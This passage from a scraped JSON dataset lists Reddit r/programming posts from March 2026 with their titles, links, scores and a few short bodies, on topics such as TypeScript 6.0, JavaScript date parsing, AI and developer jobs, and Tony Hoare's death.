  "url": "https://en.andros.dev/blog/aa31d744/from-zero-to-a-rag-system-successes-and-failures/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s45e9i/from_zero_to_a_rag_system_successes_and_failures/",
  "title": "From zero to a RAG system: successes and failures",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.64,
  "numComments": 1,
  "createdAt": "2026-03-26T11:56:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://en.andros.dev/blog/aa31d744/from-zero-to-a-rag-system-successes-and-failures/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s3o7rk",
  "url": "https://github.blog/news-insights/company-news/updates-to-github-copilot-interaction-data-usage-policy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s3o7rk/github_to_use_copilot_data_from_all_user_tiers_to/",
  "title": "Github to use Copilot data from all user tiers to train and improve their models with automatic opt in",
  "body": null,
  "author": "cloudsurfer48902",
  "subreddit": "programming",
  "score": 1056,
  "upvoteRatio": 0.98,
  "numComments": 199,
  "createdAt": "2026-03-25T21:38:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/news-insights/company-news/updates-to-github-copilot-interaction-data-usage-policy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s3fj4b",
  "url": "https://larstofus.com/2026/03/22/the-gold-standard-of-optimization-a-look-under-the-hood-of-rollercoaster-tycoon/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s3fj4b/the_gold_standard_of_optimization_a_look_under/",
  "title": "The gold standard of optimization: A look under the hood of RollerCoaster Tycoon",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 317,
  "upvoteRatio": 0.94,
  "numComments": 68,
  "createdAt": "2026-03-25T16:25:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://larstofus.com/2026/03/22/the-gold-standard-of-optimization-a-look-under-the-hood-of-rollercoaster-tycoon/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s2wfne",
  "url": "https://seongminpark.com/t-shirt-driven-development/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s2wfne/tshirt_driven_development/",
  "title": "T-shirt Driven Development",
  "body": null,
  "author": "boodleboodle",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 15,
  "createdAt": "2026-03-25T01:01:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://seongminpark.com/t-shirt-driven-development/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s1luym",
  "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s1luym/announcing_typescript_60/",
  "title": "Announcing TypeScript 6.0",
  "body": null,
  "author": "DanielRosenwasser",
  "subreddit": "programming",
  "score": 251,
  "upvoteRatio": 0.93,
  "numComments": 34,
  "createdAt": "2026-03-23T16:34:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s1kc5q",
  "url": "https://boreal.social/post/dog-ransac-dengering-slitspike-algorithm-for-reading-9",
  "permalink": "https://www.reddit.com/r/programming/comments/1s1kc5q/dog_ransac_dengering_slitspike_algorithm_for/",
  "title": "DoG RANSAC DenGering SlitSpike algorithm for reading 9-segment Soviet Postal codes from grainy images",
  "body": "    The Soviet Union introduced a special envelope for mailing letters in 1971. The envelopes contained standardized boxes at the bottom where the sended wrote out out the digits by connecting the dots. The intention of the GOST R 51506-99 standard was to make these envelopes machine readable. I have not been able to get any information about how the Soviet postal code optical character recoginition machines worked. So, I wanted to see if I could come up with a way to read the postal code from a grainy image. What started out as a simple project turned out to be a journey into finding an algorithm that could distinguish signal from the noise in wonky images, and then disambiguate between confusable pairs. This would've been much easier in the Soviet days, though. Because, in Soviet Russia, the algorithm finds you.",
  "author": "reditzer",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.58,
  "numComments": 0,
  "createdAt": "2026-03-23T15:40:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://boreal.social/post/dog-ransac-dengering-slitspike-algorithm-for-reading-9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s1jkki",
  "url": "https://blog.dochia.dev/blog/waterfall-returning/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s1jkki/is_waterfall_making_a_quiet_comeback_sort_of/",
  "title": "Is waterfall making a quiet comeback? (sort of)",
  "body": null,
  "author": "ludovicianul",
  "subreddit": "programming",
  "score": 239,
  "upvoteRatio": 0.9,
  "numComments": 158,
  "createdAt": "2026-03-23T15:11:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dochia.dev/blog/waterfall-returning/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s1e4il",
  "url": "https://fred.stlouisfed.org/series/IHLIDXUSTPSOFTDEVE",
  "permalink": "https://www.reddit.com/r/programming/comments/1s1e4il/software_dev_job_postings_are_up_15_since_mid_2025/",
  "title": "Software dev job postings are up 15% since mid 2025",
  "body": "Been watching this FRED data for a while. Software development job postings on Indeed hit a low point around May 2025, then climbed steadily for 10 months straight and are now sitting about 15% higher than that trough. The recent acceleration from January 2026 onwards is pretty sharp.\n\nThis runs directly against the AI is killing developer jobs narrative that's been everywhere for the past two years.\n\nI might be wrong but i think AI might actually be creating more software demand, not less. More products get built because the cost of building dropped. Someone still has to architect the systems, build the tooling, maintain the infrastructure. that's all still dev work.\n\nCurious what people here are actually seeing. Are you busier or less busy than two years ago? And if you're hiring, is the bar different now?",
  "author": "IdeasInProcess",
  "subreddit": "programming",
  "score": 2227,
  "upvoteRatio": 0.96,
  "numComments": 371,
  "createdAt": "2026-03-23T11:22:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fred.stlouisfed.org/series/IHLIDXUSTPSOFTDEVE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s0tmav",
  "url": "https://substack.lucasgelfond.online/p/reverse-engineering-a-viral-open",
  "permalink": "https://www.reddit.com/r/programming/comments/1s0tmav/reverse_engineering_a_viral_open_source_launch_or/",
  "title": "Reverse engineering a viral open source launch (or: notes on zerobrew!)",
  "body": null,
  "author": "lucasgelfond",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2026-03-22T18:43:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://substack.lucasgelfond.online/p/reverse-engineering-a-viral-open",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s0rldb",
  "url": "https://chunkofcoal.com/posts/simd-csv/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s0rldb/lets_see_paul_allens_simd_csv_parser/",
  "title": "Let's see Paul Allen's SIMD CSV parser",
  "body": null,
  "author": "NosePersonal326",
  "subreddit": "programming",
  "score": 360,
  "upvoteRatio": 0.94,
  "numComments": 23,
  "createdAt": "2026-03-22T17:25:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chunkofcoal.com/posts/simd-csv/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1s02cq1",
  "url": "https://www.timwehrle.de/blog/what-if-i-stored-data-in-my-mouse/",
  "permalink": "https://www.reddit.com/r/programming/comments/1s02cq1/storing_2_bytes_of_data_in_your_logitech_mouse/",
  "title": "Storing 2 bytes of data in your Logitech mouse",
  "body": "Out of boredom, I spent a considerable amount of time reverse engineering the protocol of my Logitech mouse to see if I could store data in it. I ended up with two bytes via the DPI register.\n\n# UPDATE\n\nBasically, the original assumption that the data was persistent across power cycles was incorrect. A new section of the blog post explains why.\n\nCode: [https://github.com/timwehrle/mouse-fs](https://github.com/timwehrle/mouse-fs)",
  "author": "soupgasm",
  "subreddit": "programming",
  "score": 1223,
  "upvoteRatio": 0.98,
  "numComments": 131,
  "createdAt": "2026-03-21T20:48:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.timwehrle.de/blog/what-if-i-stored-data-in-my-mouse/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rze1zs",
  "url": "https://deepdelver.substack.com/p/delve-fake-compliance-as-a-service",
  "permalink": "https://www.reddit.com/r/programming/comments/1rze1zs/delve_fake_compliance_as_a_service_soc_2/",
  "title": "Delve – Fake Compliance as a Service (SOC 2 automation startup caught fabricating evidence)",
  "body": null,
  "author": "one_user",
  "subreddit": "programming",
  "score": 529,
  "upvoteRatio": 0.89,
  "numComments": 92,
  "createdAt": "2026-03-21T01:04:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deepdelver.substack.com/p/delve-fake-compliance-as-a-service",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rz1qu3",
  "url": "https://jvogel.me/posts/2026/java-is-fast-your-code-might-not-be/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rz1qu3/java_is_fast_code_might_not_be/",
  "title": "Java is fast, code might not be",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 275,
  "upvoteRatio": 0.88,
  "numComments": 62,
  "createdAt": "2026-03-20T16:56:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jvogel.me/posts/2026/java-is-fast-your-code-might-not-be/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ry4zv0",
  "url": "https://mccue.dev/pages/3-19-26-ll-and-bst",
  "permalink": "https://www.reddit.com/r/programming/comments/1ry4zv0/a_brisk_introduction_to_linked_lists_and_binary/",
  "title": "A Brisk Introduction to Linked Lists and Binary Search Trees",
  "body": null,
  "author": "bowbahdoe",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 2,
  "createdAt": "2026-03-19T16:23:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mccue.dev/pages/3-19-26-ll-and-bst",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rxr3jw",
  "url": "https://bigdata.2minutestreaming.com/p/how-aws-s3-scales-with-tens-of-millions-of-hard-drives",
  "permalink": "https://www.reddit.com/r/programming/comments/1rxr3jw/how_aws_s3_serves_1_petabyte_per_second_on_top_of/",
  "title": "How AWS S3 serves 1 petabyte per second on top of slow HDDs",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 453,
  "upvoteRatio": 0.92,
  "numComments": 87,
  "createdAt": "2026-03-19T04:45:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bigdata.2minutestreaming.com/p/how-aws-s3-scales-with-tens-of-millions-of-hard-drives",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rx4lb3",
  "url": "https://futuresearch.ai/blog/javascript-thinks-everythings-a-date/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rx4lb3/javascripts_date_parser_is_out_of_control_and/",
  "title": "JavaScript's date parser is out of control and needs to be stopped",
  "body": "I recently spent an afternoon learning that JavaScript has a very generous definition of \"date.\"\n\n    new Date(\"2020-01-23\")\n    // Wed Jan 22 2020 19:00:00 GMT-0500\n\nMakes sense. ISO format, midnight UTC, so it shows up as January 22 in the Western Hemisphere.\n\n    new Date(\"Today is 2020-01-23\")\n    // Thu Jan 23 2020 00:00:00 GMT-0500\n\nOK, it pulled the date out of a sentence, which might be helpful in some cases. And interestingly, the time shifted, which is a little odd.\n\n    new Date(\"Route 66\")\n    // Sat Jan 01 1966 00:00:00 GMT-0500\n\nIt thinks \"Route 66\" is referring to the year 1966? That's definitely a stretch.\n\n    new Date(\"Beverly Hills, 90210\")\n    // Mon Jan 01 90210 00:00:00 GMT-0500\n\nYear 90,210? Are you kidding me?!\n\nTurns out that most popular JavaScript engines have legacy parsers that really, really want to help you parse dates.\n\nWe had a bug in our app were addresses and business names were being displayed as dates. The reason was that we were using the `Date` constructor as a fallback parser to catch unexpected formats. The fix was simple, but the bug made us laugh when we first saw it. And we learned to not treat the `Date` constructor as a validator.\n\nFull blog post which explains the parsing logic: [https://futuresearch.ai/blog/javascript-thinks-everythings-a-date/](https://futuresearch.ai/blog/javascript-thinks-everythings-a-date/)",
  "author": "robertgambee",
  "subreddit": "programming",
  "score": 476,
  "upvoteRatio": 0.72,
  "numComments": 207,
  "createdAt": "2026-03-18T13:56:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://futuresearch.ai/blog/javascript-thinks-everythings-a-date/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rwv84w",
  "url": "https://www.eliranturgeman.com/2026/03/14/uploads-attack-surface/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rwv84w/how_to_not_get_hacked_through_file_uploads/",
  "title": "How to Not Get Hacked Through File Uploads",
  "body": null,
  "author": "Missics",
  "subreddit": "programming",
  "score": 262,
  "upvoteRatio": 0.96,
  "numComments": 34,
  "createdAt": "2026-03-18T05:29:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.eliranturgeman.com/2026/03/14/uploads-attack-surface/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rwsl0x",
  "url": "https://terathon.com/blog/decade-slug.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1rwsl0x/slug_algorithm_released_into_public_domain/",
  "title": "Slug Algorithm released into public domain",
  "body": null,
  "author": "AbrasiveRadiance",
  "subreddit": "programming",
  "score": 1196,
  "upvoteRatio": 0.98,
  "numComments": 76,
  "createdAt": "2026-03-18T03:16:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://terathon.com/blog/decade-slug.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rw7r3r",
  "url": "https://haskellforall.com/2026/03/a-sufficiently-detailed-spec-is-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1rw7r3r/a_sufficiently_detailed_spec_is_code/",
  "title": "A sufficiently detailed spec is code",
  "body": null,
  "author": "Tekmo",
  "subreddit": "programming",
  "score": 606,
  "upvoteRatio": 0.92,
  "numComments": 221,
  "createdAt": "2026-03-17T14:16:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://haskellforall.com/2026/03/a-sufficiently-detailed-spec-is-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rw6lkv",
  "url": "https://jdk.java.net/26/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rw6lkv/java_26_released_today/",
  "title": "Java 26 released today!",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 369,
  "upvoteRatio": 0.93,
  "numComments": 143,
  "createdAt": "2026-03-17T13:30:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jdk.java.net/26/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rv5cb9",
  "url": "https://thatshubham.com/blog/news-audit",
  "permalink": "https://www.reddit.com/r/programming/comments/1rv5cb9/the_49mb_web_page/",
  "title": "The 49MB Web Page",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 781,
  "upvoteRatio": 0.97,
  "numComments": 155,
  "createdAt": "2026-03-16T10:02:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thatshubham.com/blog/news-audit",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ruph61",
  "url": "https://rushter.com/blog/github-malware/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ruph61/the_rise_of_malicious_repositories_on_github/",
  "title": "The rise of malicious repositories on GitHub",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 575,
  "upvoteRatio": 0.97,
  "numComments": 80,
  "createdAt": "2026-03-15T20:53:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushter.com/blog/github-malware/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rudzt0",
  "url": "https://newsletter.scalablethread.com/p/why-event-driven-systems-are-hard",
  "permalink": "https://www.reddit.com/r/programming/comments/1rudzt0/why_are_eventdriven_systems_hard/",
  "title": "Why are Event-Driven Systems Hard?",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 526,
  "upvoteRatio": 0.93,
  "numComments": 172,
  "createdAt": "2026-03-15T13:25:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.scalablethread.com/p/why-event-driven-systems-are-hard",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rtfdul",
  "url": "https://blog.jacobstechtavern.com/p/building-a-2fa-app-that-detects-patterns",
  "permalink": "https://www.reddit.com/r/programming/comments/1rtfdul/the_2fa_app_that_tells_you_when_you_get_314159/",
  "title": "The 2FA app that tells you when you get `314159`",
  "body": null,
  "author": "jacobs-tech-tavern",
  "subreddit": "programming",
  "score": 307,
  "upvoteRatio": 0.85,
  "numComments": 62,
  "createdAt": "2026-03-14T09:52:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jacobstechtavern.com/p/building-a-2fa-app-that-detects-patterns",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rtbwdd",
  "url": "https://the.codegardener.com/red-green-premature-refactor/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rtbwdd/red_green_premature_refactor/",
  "title": "Red, Green, Premature Refactor",
  "body": null,
  "author": "jrochkind",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 9,
  "createdAt": "2026-03-14T06:16:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://the.codegardener.com/red-green-premature-refactor/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rsmz9u",
  "url": "https://vite.dev/blog/announcing-vite8",
  "permalink": "https://www.reddit.com/r/programming/comments/1rsmz9u/vite_80_is_out/",
  "title": "Vite 8.0 Is Out",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 348,
  "upvoteRatio": 0.93,
  "numComments": 64,
  "createdAt": "2026-03-13T13:13:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vite.dev/blog/announcing-vite8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rsm1z1",
  "url": "https://darkwebinformer.com/full-source-code-of-swedens-e-government-platform-leaked-from-compromised-cgi-sverige-infrastructure/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rsm1z1/full_source_code_of_swedens_egovernment_platform/",
  "title": "Full Source Code of Sweden's E-Government Platform Leaked From Compromised CGI Sverige Infrastructure",
  "body": null,
  "author": "SpecialistLady",
  "subreddit": "programming",
  "score": 945,
  "upvoteRatio": 0.98,
  "numComments": 122,
  "createdAt": "2026-03-13T12:32:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://darkwebinformer.com/full-source-code-of-swedens-e-government-platform-leaked-from-compromised-cgi-sverige-infrastructure/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rru4co",
  "url": "https://iquilezles.org/articles/noacos/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rru4co/avoiding_trigonometry/",
  "title": "Avoiding Trigonometry",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 287,
  "upvoteRatio": 0.97,
  "numComments": 47,
  "createdAt": "2026-03-12T15:38:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://iquilezles.org/articles/noacos/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rrqhjw",
  "url": "https://youtu.be/ZCrCqbblXjk?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1rrqhjw/master_software_architecture_from_simplicity_to/",
  "title": "Master Software Architecture: From Simplicity to Complexity • Maciej «MJ» Jedrzejewski",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2026-03-12T13:16:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ZCrCqbblXjk?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rrnsc3",
  "url": "https://www.theguardian.com/technology/2026/mar/12/atlassian-layoffs-software-technology-ai-push-mike-cannon-brookes-asx",
  "permalink": "https://www.reddit.com/r/programming/comments/1rrnsc3/devastating_blow_atlassian_lays_off_1600_workers/",
  "title": "‘Devastating blow’: Atlassian lays off 1,600 workers ahead of AI push",
  "body": null,
  "author": "corp_code_slinger",
  "subreddit": "programming",
  "score": 2434,
  "upvoteRatio": 0.97,
  "numComments": 510,
  "createdAt": "2026-03-12T11:07:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theguardian.com/technology/2026/mar/12/atlassian-layoffs-software-technology-ai-push-mike-cannon-brookes-asx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rrn99e",
  "url": "https://dolphin-emu.org/blog/2026/03/12/dolphin-progress-report-release-2603/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rrn99e/dolphin_emulator_progress_report_release_2603/",
  "title": "Dolphin Emulator Progress Report: Release 2603",
  "body": null,
  "author": "turol",
  "subreddit": "programming",
  "score": 231,
  "upvoteRatio": 0.95,
  "numComments": 4,
  "createdAt": "2026-03-12T10:39:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dolphin-emu.org/blog/2026/03/12/dolphin-progress-report-release-2603/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rr821f",
  "url": "https://www.lastweekinaws.com/blog/aws-in-2025-the-stuff-you-think-you-know-thats-now-wrong/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rr821f/aws_in_2025_the_stuff_you_think_you_know_thats/",
  "title": "AWS in 2025: The Stuff You Think You Know That's Now Wrong",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 238,
  "upvoteRatio": 0.93,
  "numComments": 29,
  "createdAt": "2026-03-11T22:05:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lastweekinaws.com/blog/aws-in-2025-the-stuff-you-think-you-know-thats-now-wrong/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rqxh0q",
  "url": "https://bloomberg.github.io/js-blog/post/temporal/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rqxh0q/temporal_the_9year_journey_to_fix_time_in/",
  "title": "Temporal: The 9-Year Journey to Fix Time in JavaScript",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 242,
  "upvoteRatio": 0.96,
  "numComments": 43,
  "createdAt": "2026-03-11T15:50:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bloomberg.github.io/js-blog/post/temporal/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rqlf82",
  "url": "https://smiling.dev/blog/rust-shined-over-python-for-my-cli-tool/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rqlf82/rust_shined_over_python_for_my_cli_tool/",
  "title": "Rust Shined Over Python for My CLI Tool",
  "body": null,
  "author": "semi-average-writer",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.55,
  "numComments": 2,
  "createdAt": "2026-03-11T05:42:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://smiling.dev/blog/rust-shined-over-python-for-my-cli-tool/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rqkp1v",
  "url": "https://blog.computationalcomplexity.org/2026/03/tony-hoare-1934-2026.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1rqkp1v/tony_hoare_creator_of_quicksort_null_passed_away/",
  "title": "Tony Hoare, creator of Quicksort & Null, passed away.",
  "body": null,
  "author": "TheTwelveYearOld",
  "subreddit": "programming",
  "score": 2600,
  "upvoteRatio": 0.99,
  "numComments": 108,
  "createdAt": "2026-03-11T05:02:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.computationalcomplexity.org/2026/03/tony-hoare-1934-2026.html",
    "thumbnail": null,
    "isVideo": false,
